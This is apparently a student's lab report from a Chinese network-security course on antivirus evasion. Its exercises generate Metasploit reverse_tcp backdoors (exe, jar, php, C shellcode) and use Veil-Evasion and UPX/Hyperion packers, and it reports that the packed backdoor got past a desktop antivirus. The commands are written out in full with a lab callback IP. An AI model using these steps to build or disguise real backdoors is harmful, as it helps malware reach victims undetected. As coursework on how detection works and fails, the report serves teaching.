zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165319 Exp3 免杀原理与实践

    免杀原理及基础问题回答

    免杀原理:

    免杀指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

    基础问题

    1.杀软是如何检测出恶意代码的?
    杀毒软件的原理就是匹配特征码。当扫描得到一个文件时,杀毒软件会检测这个文件里是否包含病毒库里所包含的特征码,如果有,则报毒病查杀,如果没有,纵然这个文件确实是一个病毒,它也会把它当作正常文件来看待。
    也有基于行为的恶意软件检测,监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。

    2.免杀是做什么?
    修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

    3.免杀的基本方法有哪些?

    开源免杀:指在有病毒、木马源代码的前提下,通过修改源代码进行免杀。

    手工免杀:指在仅有病毒、木马的可执行文件(.exe)(PE文件)的情况下进行免杀。

    三、免杀效果评价

    利用VirusTotalVirscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

    实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 正确使用msf编码器,生成exe文件

    先用VirusTotalVirscan对实验2做出的后门程序进行检测。
    得出如下图结果:

    由此可见不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

    十次编码使用命令:-i设置迭代次数

    将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

    2. msfvenom生成jar文件

    生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 x> gjtbackdoor_java.jar

    检测结果:

    3. msfvenom生成php文件

    生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 x> gjtbd.php

    扫描结果如下:

    4. 使用veil-evasion生成后门程序及检测

    我用自己的虚拟机使用了各种网上的教程方法,每次都会失败,最后一次直接让整个虚拟机系统无法运行了。。。。所以我拷贝了室友装好了veil的虚拟机。

    用use evasion命令进入Evil-Evasion

    输入命令use c/meterpreter/rev_tcp.py进入配置界面

    设置反弹连接IP,命令为:set LHOST 192.168.146.131,注意此处的IP是KaliIP;

    设置端口,命令为:set LPORT 5319

    输入generate生成文件,接着输入你想要playload的名字:19gjt#veil.exe

    保存路径为/var/lib/veil/output/compiled/19gjt#veil.exe

    检测结果:

    可见会被检查出来,而且同一个软件一个网站检测的出来一个网站检测不出来。。。。很神奇。

    5. 半手工注入Shellcode并执行

    首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 -f c用c语言生成一段shellcode;

    创建一个文件20165319.c,然后将unsigned char buf[]赋值到其中。

    使用命令:i686-w64-mingw32-g++ 20165319.c -o 20165319.exe编译这个.c文件为可执行文件;

    检测结果如图:

    将程序复制到win7主机时,腾讯电脑管家查杀查出。

    6.加壳

    使用压缩壳(UPX)

    给之前的20165318.exe加个壳得到gjt#upxed.exe

    复制到主机。腾讯检测不到。

    用网站检测一下:

    加密壳Hyperion

    将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    进入目录/usr/share/windows-binaries/hyperion/中

    输入命令wine hyperion.exe -v gjt#upxed.exe gjt#upxed#hyperion.exe进行加壳

    将加壳程序拷贝到主机

    腾讯电脑管家依旧查不到。

    任务二:通过组合应用各种技术实现恶意代码免杀

    通过组合半手工制作shellcode后压缩壳或者加密壳达到了免杀的目的。

    任务成功截图:

    实验遇到的问题及解决方法

    1.问题:veil装不上去还把虚拟机弄崩溃了。

    解决:拷贝了舍友的已有kali的虚拟机。

    2.问题:使用i686-w64-mingw32-g++ 20165319.c -o 20165319.exe时出现i686-w64-mingw32不是一个文件或文件夹的提示。

    解决:将位于root的20165319.c复制到usr文件夹进行编译即可。

    实践总结与体会

    本次实验是基于上次的后门实验的后续加强版实验。此次实验中我了解了免杀的概念、免杀的基本方法以及对后门动手实现一些免杀的处理,能够做一些基本的免杀操作。
    然后亲身体会免杀实验后我发现了杀毒软件的不可靠处,以后要提高安全意识,换个更好的杀毒软件。

  • 相关阅读:
    深入浅出前端本地储存
    移动端H5开发常用技巧总结
    Web API
    嵌入式软件工程师面试题目整理(二)
    嵌入式软件工程师面试题目整理(一)
    扒一扒ELF文件
    SpringCloud — (1) 服务治理Eureka
    asp.net练习①——Application聊天室
    js数字金额转换为大写金额
    SQL触发器
  • 原文地址:https://www.cnblogs.com/gstgst/p/10633083.html
Copyright © 2011-2022 走看看